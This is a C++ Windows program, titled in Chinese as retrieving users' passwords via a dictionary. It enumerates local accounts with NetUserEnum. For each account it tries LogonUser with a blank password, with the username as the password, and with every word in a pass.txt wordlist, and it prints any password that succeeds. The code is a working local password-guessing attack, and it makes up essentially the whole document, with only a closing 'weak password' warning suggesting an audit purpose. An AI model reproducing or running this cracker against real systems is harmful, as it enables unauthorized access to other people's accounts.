根据数据字典,获取计算机用户的密码
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
// TODO: code your application's behavior here.
BOOL keepGoing=TRUE;
DWORD entriesRead,totalEntries;
USER_INFO_2 * pInfo=NULL;
DWORD resumeHandle=0;
char nameBuf[UNLEN+1];
char commentBuf[MAXCOMMENTSZ+1];
WCHAR serverName[100];
lstrcpyW(serverName,L"");
while (keepGoing)
{
NET_API_STATUS ret =NetUserEnum(serverName,2,0,(LPBYTE*)&pInfo,sizeof(USER_INFO_2)*100,&entriesRead,&totalEntries,&resumeHandle);
keepGoing=(ret==ERROR_MORE_DATA);
if(ret==0||ret==ERROR_MORE_DATA)
{
DWORD i;
for(i=0;i<entriesRead;i++)
{
DWORD dwflag = pInfo[i].usri2_flags&UF_ACCOUNTDISABLE;
if (dwflag)
{
printf("账户已禁用");
continue;
}
LPWSTR pName=(LPWSTR)pInfo[i].usri2_name;
LPWSTR pComm=(LPWSTR)pInfo[i].usri2_comment;
if(pName==NULL)
{
lstrcpy(nameBuf,"(no name!)");
}
else if (lstrlenW(pName)==0)
{
lstrcpy(nameBuf,"(empty name!)");
}
else
{
WideCharToMultiByte(CP_ACP,0,pName,-1,nameBuf,UNLEN,NULL,NULL);
}
if(pComm==NULL)
{
lstrcpy(commentBuf,"(empty name!)");
}
else if(lstrlenW(pComm)==0)
{
lstrcpy(commentBuf, "(empty comenmt!)");
}
else
{
WideCharToMultiByte(CP_ACP,0,pComm,-1,commentBuf,MAXCOMMENTSZ,NULL,NULL);
}
bool isWeak=false;
LPTSTR pszUserName=nameBuf;
LPTSTR pszUserCom=commentBuf;
LPTSTR pszPass = NULL;
HANDLE hToken = NULL;
BOOL bLoggedOn = ::LogonUser(pszUserName,NULL,NULL,
LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
DWORD dwError = GetLastError();
printf("%s %s\n",pszUserName,pszUserCom);
if(bLoggedOn || dwError == 1327)
{
printf("%s\n","密码为空");
isWeak = true;
}
else
{
printf("%s\n","密码不为空");
bLoggedOn = ::LogonUser(pszUserName,NULL,pszUserName,
LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
dwError = GetLastError();
if(bLoggedOn || dwError == 1327)
{
printf("%s%s\n","密码是:",pszUserName);
isWeak = true;
}
if (!isWeak)
{
ifstream iFile;
iFile.open("pass.txt",ios::in|ios::out);
while (iFile&&!iFile.eof())
{
string pass;
iFile>>pass;
const char *temp=pass.c_str();
pszPass = (char*)temp;
bLoggedOn = ::LogonUser(pszUserName,NULL,pszPass,
LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken);
dwError = GetLastError();
if(bLoggedOn || dwError == 1327)
{
printf("%s%s\n","密码是:",pszPass);
isWeak = true;
break;
}
}
iFile.close();
}
}
if (isWeak)
{
printf("Warning:口令不安全!\n");
}
printf("\n");
}
}
}
}
system("PAUSE");
return nRetCode;
}